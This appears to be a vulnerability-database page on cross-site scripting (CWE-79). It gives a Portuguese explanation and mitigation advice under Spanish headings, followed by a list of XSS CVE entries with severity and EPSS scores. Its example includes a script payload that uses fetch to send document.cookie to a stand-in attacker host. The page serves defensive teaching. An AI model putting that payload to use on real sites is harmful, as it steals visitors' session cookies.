Fallos del tipo CWE-79

30.585 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-57883MEDIUMReflected cross-site scripting vulnerability exists in GroupSession Free edition prior to ver5.3.0, GroupSession byCloud prior to ver5.3.3, EPSS 0.2%CVE-2026-92746MEDIUMGutenverse <= 4.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Comment Block 'suffixMain' AttributeEPSS 0.2%CVE-2024-51222MEDIUMA stored cross-site scripting (XSS) vulnerability in the component /admin/profile.php of Phpgurukul Vehicle Record Management System v1.0 alEPSS 0.2%CVE-2026-96743MEDIUMTable Field Add-on for ACF and SCF <= 1.4.1-RC2 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Table Field ValueEPSS 0.2%CVE-2026-93908MEDIUMReal Estate Manager <= 7.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'before_price_text' ParameterEPSS 0.2%CVE-2026-31351MEDIUMAn authenticated stored cross-site scripting (XSS) vulnerability in the creation/editing module of Feehi CMS v2.1.1 allows attackers to execEPSS 0.2%CVE-2026-8977MEDIUMWP GDPR Cookie Consent <= 1.0.0 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'ninja_gdpr_ajax_actions' AJAX ActionEPSS 0.2%CVE-2025-51734MEDIUMCross-site scripting (XSS) vulnerability in HCL Technologies Ltd. Unica 12.0.0.EPSS 0.2%CVE-2026-100694MEDIUMHugo before 0.166.0 Cross-Site Scripting via text/orgEPSS 0.2%CVE-2026-33311MEDIUM@dicebear/core and @dicebear/initials Vulnerable to SVG Injection via Unsanitized OptionsEPSS 0.2%CVE-2025-53504MEDIUMGroup-Office versions prior to 6.8.119 and prior to 25.0.20 provided by Intermesh BV contain a cross-site scripting vulnerability. If this vEPSS 0.2%CVE-2026-6073HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.2%CVE-2025-54407MEDIUMStored cross-site scripting vulnerability exists in GroupSession Free edition prior to ver5.3.0, GroupSession byCloud prior to ver5.3.3, andEPSS 0.2%CVE-2026-3218MEDIUMResponsive Favicons - Moderately critical - Cross-site scripting - SA-CONTRIB-2026-019EPSS 0.2%CVE-2025-4760MEDIUMAuthenticated Stored Cross-Site Scripting (XSS) in Multiple WSO2 Products via API Document Upload in PublisherEPSS 0.2%CVE-2026-110384HIGHWordPress Fancy Comments WordPress plugin <= 1.2.21 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-62752MEDIUMWordPress Calendar.online / Kalender.digital plugin <= 1.0.13 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-79311MEDIUMwebpy web.py 0.76 is vulnerable to Cross Site Scripting (XSS) via render_jinja.__init__().EPSS 0.2%CVE-2024-34321MEDIUMProPhoenix Law RMS v2022.2403.3.101 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the PageTitle/Notes pEPSS 0.2%CVE-2026-3004MEDIUMSnow Monkey Blocks <= 24.1.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'data-slick' AttributeEPSS 0.2%